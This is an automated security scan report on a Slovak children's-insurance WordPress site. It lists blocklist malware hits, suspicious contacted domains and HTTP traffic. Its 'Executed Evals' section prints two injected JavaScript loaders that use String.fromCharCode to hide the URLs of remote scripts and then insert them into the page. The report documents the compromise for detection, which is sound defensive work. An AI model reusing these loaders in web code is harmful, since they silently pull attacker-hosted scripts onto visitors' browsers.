Overview

URLpoistenie-deti.sk/
IP 37.9.175.132 (Slovakia)
ASN#51013 WebSupport s.r.o.
UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer
Report completed2023-02-02 08:25:23 UTC
StatusLoading report..
IDS alerts0
Blocklist alert29
urlquery alerts No alerts detected
Tags None

Domain Summary (15)

Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
ocsp.pki.goog (5) 175 2017-06-14 07:23:31 UTC 2023-02-01 17:12:09 UTC 216.58.211.3
fonts.gstatic.com (2) 0 2014-04-02 10:51:04 UTC 2023-02-01 17:15:46 UTC 216.58.207.227 Domain (gstatic.com) ranked at: 540
track.violetlovelines.com (3) 0 2022-12-03 13:28:32 UTC 2023-02-01 22:34:08 UTC 159.69.234.10 Unknown ranking
simple.cofounderspecials.com (1) 0 2022-08-18 06:57:49 UTC 2023-01-31 11:14:39 UTC 194.135.30.42 Unknown ranking
content-signature-2.cdn.mozilla.net (1) 1152 2020-11-03 12:26:46 UTC 2023-02-01 17:15:43 UTC 34.160.144.191
www.poistenie-deti.sk (33) 0 2022-06-24 11:26:37 UTC 2022-12-28 08:25:03 UTC 37.9.175.132 Unknown ranking
fonts.googleapis.com (2) 8877 2012-05-23 12:41:44 UTC 2023-02-01 09:32:43 UTC 142.250.74.106
collect.greengoplatform.com (1) 0 2022-06-17 16:05:00 UTC 2023-01-30 19:11:48 UTC 194.135.30.42 Unknown ranking
contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2023-02-01 17:13:18 UTC 34.117.237.239
poistenie-deti.sk (1) 0 2020-12-10 21:49:49 UTC 2023-02-01 08:24:37 UTC 37.9.175.132 Unknown ranking
walk.classicpartnerships.com (1) 0 2022-03-13 10:45:10 UTC 2023-01-23 12:14:44 UTC 194.135.30.42 Unknown ranking
r3.o.lencr.org (5) 344 2020-12-02 08:52:13 UTC 2023-02-01 04:09:13 UTC 23.33.119.27
firefox.settings.services.mozilla.com (2) 867 2020-05-25 20:06:39 UTC 2023-02-01 17:12:29 UTC 35.241.9.150
push.services.mozilla.com (1) 2140 2014-10-24 08:27:06 UTC 2023-02-01 17:30:19 UTC 54.186.188.230
img-getpocket.cdn.mozilla.net (1) 1631 2017-09-01 03:40:57 UTC 2023-02-01 13:26:50 UTC 34.120.237.76

Network Intrusion Detection Systemsinfo

Suricata /w Emerging Threats Pro
 No alerts detected

Blocklists

OpenPhish
 No alerts detected

PhishTank
 No alerts detected

Fortinet's Web Filter
Scan Date Severity Indicator Comment
2023-02-02 2 poistenie-deti.sk/ Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/plugins/contact-form-7/includes/css/styles (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/plugins/contact-form-7/includes/js/scripts (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-includes/js/jquery/ui/tabs.min.js?ver=1.12.1 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/plugins/google-analytics-for-wordpress/ass (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/assets/jplayer/css/jplayer. (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/css/responsive.css?ver=21.9.7 Malware
2023-02-02 2 walk.classicpartnerships.com/noise.js Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/assets/ui/jquery.ui.all.css (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-includes/js/jquery/jquery.min.js?ver=3.5.1 Malware
2023-02-02 2 www.poistenie-deti.sk/ Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/plugins/revslider/public/assets/css/rs6.cs (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/plugins/revslider/public/assets/js/rbtools (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/plugins/revslider/public/assets/js/rs6.min (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-includes/js/wp-emoji-release.min.js?ver=5.6.10 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-includes/js/jquery/ui/accordion.min.js?ver=1.12.1 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/assets/animations/animation (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/js/menu.js?ver=21.9.7 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-includes/js/wp-embed.min.js?ver=5.6.10 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/style.css?ver=21.9.7 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/js/scripts.js?ver=21.9.7 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/js/plugins.js?ver=21.9.7 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-includes/css/dist/block-library/style.min.css?ver= (...) Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/css/base.css?ver=21.9.7 Malware
2023-02-02 2 www.poistenie-deti.sk/wp-content/themes/betheme/css/shortcodes.css?ver=21.9.7 Malware

mnemonic secure dns
Scan Date Severity Indicator Comment
2023-02-02 2 violetlovelines.com Sinkholed
2023-02-02 2 violetlovelines.com Sinkholed
2023-02-02 2 violetlovelines.com Sinkholed

Quad9 DNS
 No alerts detected

ThreatFox
 No alerts detected


Files

No files detected

Recent reports on same IP/ASN/Domain/Screenshot

Last 5 reports on IP: 37.9.175.132
Date UQ / IDS / BL URL IP
2023-02-24 21:10:36 +0000 0 - 1 - 0 www.euro-reality.com/ 37.9.175.132
2023-02-05 08:25:14 +0000 0 - 1 - 27 poistenie-deti.sk/ 37.9.175.132
2023-02-02 08:25:23 +0000 0 - 0 - 29 poistenie-deti.sk/ 37.9.175.132
2023-01-07 18:13:20 +0000 0 - 0 - 1 osobnauctovnicka.sk/ 37.9.175.132
2022-12-28 08:25:13 +0000 0 - 0 - 25 poistenie-deti.sk/ 37.9.175.132


Last 5 reports on ASN: WebSupport s.r.o.
Date UQ / IDS / BL URL IP
2023-03-22 10:33:34 +0000 0 - 0 - 1 icrosoft.co/ 185.111.89.232
2023-03-22 09:51:37 +0000 0 - 2 - 51 yetinft.hu/NAB/surf7.php?cmd=login_submit&id= (...) 185.111.89.232
2023-03-21 09:52:09 +0000 0 - 0 - 1 tigeragon.sk/oazouurrqz/v/3cix85jzv.zip 37.9.175.26
2023-03-20 17:40:14 +0000 0 - 0 - 2 www.itat.sk/AnyDesk.exe 195.210.29.243
2023-03-19 09:37:51 +0000 0 - 0 - 2 munkasszallo24.hu/misr/trsucks 185.111.89.216


Last 5 reports on domain: poistenie-deti.sk
Date UQ / IDS / BL URL IP
2023-02-05 08:25:14 +0000 0 - 1 - 27 poistenie-deti.sk/ 37.9.175.132
2023-02-02 08:25:23 +0000 0 - 0 - 29 poistenie-deti.sk/ 37.9.175.132
2022-12-28 08:25:13 +0000 0 - 0 - 25 poistenie-deti.sk/ 37.9.175.132
2022-12-20 08:25:06 +0000 0 - 2 - 1 poistenie-deti.sk/ 37.9.175.132
2022-12-07 08:25:57 +0000 0 - 0 - 7 poistenie-deti.sk/ 37.9.175.132


Last 5 reports with similar screenshot
Date UQ / IDS / BL URL IP
2023-03-20 20:59:41 +0000 0 - 0 - 26 www.j2jfamily.com/wpn/login.php?l=_jehfuq_vjo (...) 63.250.38.204
2023-03-20 20:59:39 +0000 0 - 0 - 26 j2jfamily.com/wpn/login.php?l=_jehfuq_vjoxk0q (...) 63.250.38.204
2023-03-08 19:00:05 +0000 0 - 0 - 42 vervetama.com/.compliance1/login.php 103.55.39.107
2023-03-07 10:10:31 +0000 4 - 0 - 21 landmarkcontractor.com/market/sawsy5zac83u94u (...) 64.29.151.221
2023-02-03 22:34:41 +0000 0 - 0 - 40 xperiaexecutivesearch.com/--/17276 103.74.54.34

JavaScript

Executed Scripts (24)

Executed Evals (2)
#1 JavaScript::Eval (size: 655) - SHA256: 8532e915d2cfe6d3a9804fa0b3a9eff8e366c2bed9011fbae4eee332ce7a6248
var psdd = document.getElementsByTagName("script");
var wantmee = false;
for (var i = 0; i < psdd.length; i++) {
    if (psdd[i].id) {
        if (psdd[i].id == "spectrepoint") {
            wantmee = true;
        }
    }
}
if (wantmee == false) {
    var d = document;
    var s = d.createElement('script');
    s.id = "spectrepoint";
    s.async = true;
    s.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 108, 111, 97, 100, 46, 98, 101, 116, 116, 101, 114, 115, 104, 105, 116, 101, 99, 111, 108, 117, 109, 110, 46, 99, 111, 109, 47, 115, 106, 108, 97, 115, 104, 46, 106, 115);
    if (document.currentScript) {
        document.currentScript.parentNode.insertBefore(s, document.currentScript);
    } else {
        d.getElementsByTagName('head')[0].appendChild(s);
    }
}
#2 JavaScript::Eval (size: 672) - SHA256: e45cb9e1da00a8b49fe257005cdcc33617c25843f134808672f744ca1a325e50
var scripts = document.getElementsByTagName("script");
var wantme = false;
for (var i = 0; i < scripts.length; i++) {
    if (scripts[i].id) {
        if (scripts[i].id == "trackmyposs") {
            wantme = true;
        }
    }
}
if (wantme == false) {
    var d = document;
    var s = d.createElement('script');
    s.id = "trackmyposs";
    s.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 111, 108, 108, 101, 99, 116, 46, 103, 114, 101, 101, 110, 103, 111, 112, 108, 97, 116, 102, 111, 114, 109, 46, 99, 111, 109, 47, 102, 108, 97, 103, 46, 106, 115, 63, 118, 61, 55, 46, 49, 46, 51);
    if (document.currentScript) {
        document.currentScript.parentNode.insertBefore(s, document.currentScript);
    } else {
        d.getElementsByTagName('head')[0].appendChild(s);
    }
}

Executed Writes (0)


HTTP Transactions (60)


Request Response
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.33.119.27
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "4D9EA085D5DDA9DABED11AF9847C2B0AA6182358673B356A4E2BD631E22A9922"
Last-Modified: Tue, 31 Jan 2023 12:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5829
Expires: Thu, 02 Feb 2023 10:02:22 GMT
Date: Thu, 02 Feb 2023 08:25:13 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.33.119.27
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "EBB8CA05DF5BA73B92174105D54D192A8D9E3E10FBA48BF96161B0CB759220EC"
Last-Modified: Tue, 31 Jan 2023 04:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=9214
Expires: Thu, 02 Feb 2023 10:58:47 GMT
Date: Thu, 02 Feb 2023 08:25:13 GMT
Connection: keep-alive

                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         35.241.9.150
HTTP/2 200 OK
content-type: application/json
                                        
access-control-allow-origin: *
access-control-expose-headers: Backoff, Retry-After, Content-Length, Alert, Content-Type
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 939
via: 1.1 google
date: Thu, 02 Feb 2023 07:43:29 GMT
age: 2504
cache-control: max-age=3600,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    30db107dcf4380cef05efea409c2e6a3
Sha1:   96e6a306fbc07299aba64e5c14e2bfca35872fa9
Sha256: b64051a4a8e346e3c72b2aef77f360a5736ab5e16711d8e0bae3876feaa15b6e
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.33.119.27
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "BF215AB858C7785B7C01F7D3D437A918F056F00FE9B065820E1CDD09B7BBA8F9"
Last-Modified: Wed, 01 Feb 2023 17:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=13379
Expires: Thu, 02 Feb 2023 12:08:12 GMT
Date: Thu, 02 Feb 2023 08:25:13 GMT
Connection: keep-alive

                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2023-02-28-18-04-20.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         34.160.144.191
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
x-amz-id-2: /AsFDNZUcup8nHExrMNbOmHatqQ+ixDhM/hslNZR55EaoOgPiXmsV0qU+QbkKUIbIvO/68vhXngUlIqTeEp6Fg==
x-amz-request-id: N5JKQVM8SB6DK633
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
content-length: 5348
via: 1.1 google
date: Thu, 02 Feb 2023 07:51:53 GMT
age: 2000
last-modified: Mon, 09 Jan 2023 18:04:21 GMT
etag: "7b922915ebf1fa3639b333f994c74f24"
cache-control: public,max-age=3600
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    7b922915ebf1fa3639b333f994c74f24
Sha1:   144a3f80b98fd0652d4614f24cf6cbbee40f8938
Sha256: adbb3e06df0e870f5c7a9cb81e8979d4e92735853d75c9b779c06470d4db5d9c
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Thu, 02 Feb 2023 08:25:13 GMT
content-length: 12
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
access-control-expose-headers: content-type
access-control-allow-credentials: true
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         35.241.9.150
HTTP/2 200 OK
content-type: application/json
                                        
access-control-allow-origin: *
access-control-expose-headers: Content-Length, Retry-After, Last-Modified, Cache-Control, Pragma, ETag, Backoff, Content-Type, Alert, Expires
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 329
via: 1.1 google
date: Thu, 02 Feb 2023 07:41:43 GMT
age: 2610
last-modified: Fri, 25 Mar 2022 17:45:46 GMT
etag: "1648230346554"
cache-control: max-age=3600,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.33.119.27
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "6A9838D00256431807CA382FC205064B07C08D5054F2895C2AE3CC4E9094179A"
Last-Modified: Wed, 01 Feb 2023 08:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7647
Expires: Thu, 02 Feb 2023 10:32:40 GMT
Date: Thu, 02 Feb 2023 08:25:13 GMT
Connection: keep-alive

                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: fgnNxSjq5eSc8+uVo08Hzw==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

search
                                         54.186.188.230
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: YV+poZ+i+m1EDu911koojGRyXnY=

                                        
                                            GET / HTTP/1.1 
Host: poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

search
                                         37.9.175.132
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
                                        
Server: openresty
Date: Thu, 02 Feb 2023 08:25:14 GMT
Content-Length: 0
Connection: keep-alive
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress
Location: https://www.poistenie-deti.sk/


--- Additional Info ---
Magic:  
Size:   0
Md5:    d41d8cd98f00b204e9800998ecf8427e
Sha1:   da39a3ee5e6b4b0d3255bfef95601890afd80709
Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         216.58.211.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 02 Feb 2023 08:25:15 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         216.58.211.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 02 Feb 2023 08:25:15 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.3.2 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 21:54:43 GMT
etag: W/"780-5b91fa72a3690"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   1094
Md5:    b49cf2d702be51e3bc8a4f95238bb58f
Sha1:   7187dc960d02e3a3816ef7f2a313d91f2acaf453
Sha256: eb36930a3b47fce6c2342baf7b3ee3c549ea539c5bb08de7336af0ca1e522c4f

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.3.2 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 21:54:43 GMT
etag: W/"4654-5b91fa7268ec0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   5485
Md5:    f253ece6ffe942de832f54395afeef17
Sha1:   589674272b225ae88da6b885ca6f72b96d55c589
Sha256: 8b936ce7053a4d1f3e44d9c5c6852800c61b5f090a95f781d89a5bb4107b6fe4

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/jquery/ui/core.min.js?ver=1.12.1 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Thu, 15 Apr 2021 13:10:26 GMT
etag: W/"5fbf-5c0029633d480"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (7995)
Size:   8382
Md5:    80089ebcc6504d02a151ede7a8ac5bc3
Sha1:   3663732db8f14f9739beb505b4269a8ab1245f0d
Sha256: ab037391a47fe8b0710c400c938825810e714f7f6caede2e438e57c7ada0200d

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/jquery/ui/mouse.min.js?ver=1.12.1 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Thu, 04 Feb 2021 12:43:15 GMT
etag: W/"1bc0-5ba820c187ec0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (3224)
Size:   2762
Md5:    047c4fb01b24cfe190a4f4580e4229d5
Sha1:   949098de1becd3e5ae09bb3a9ae54711c9fdbf76
Sha256: f1abd28b32673e92550cb49c495c15c0a020367be11806c9e13035a527c04cc0
                                        
                                            GET /wp-includes/js/jquery/ui/sortable.min.js?ver=1.12.1 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Thu, 15 Apr 2021 13:10:26 GMT
etag: W/"6f5a-5c0029633d480"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (24623)
Size:   7980
Md5:    a086f2e7805e54eb899be0520c6bc459
Sha1:   e93f6a1df4abf7dca26ee8e9662122d4882fb920
Sha256: 532a8ef8b70e6aa795a953639ffb495681441658fd9cd1cdda6ee3ca51136a5e
                                        
                                            GET /wp-includes/js/jquery/ui/tabs.min.js?ver=1.12.1 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Thu, 15 Apr 2021 13:10:26 GMT
etag: W/"3d17-5c0029633d480"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (11760)
Size:   5504
Md5:    b0f443c184b8420a223727e96fcc620f
Sha1:   606aad3af807fb89427bbb32faac8f5f7a172f4a
Sha256: 443ad40709ceed973f4488d06c042e6aca043b77503a45fd7961dbb004fd5ffa

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/google-analytics-for-wordpress/assets/css/frontend.min.css?ver=7.14.0 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:11:16 GMT
etag: W/"1e0f-5b91c88127282"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (7695), with no line terminators
Size:   9943
Md5:    cc3de07832298e2de8ee665e1f37f8c8
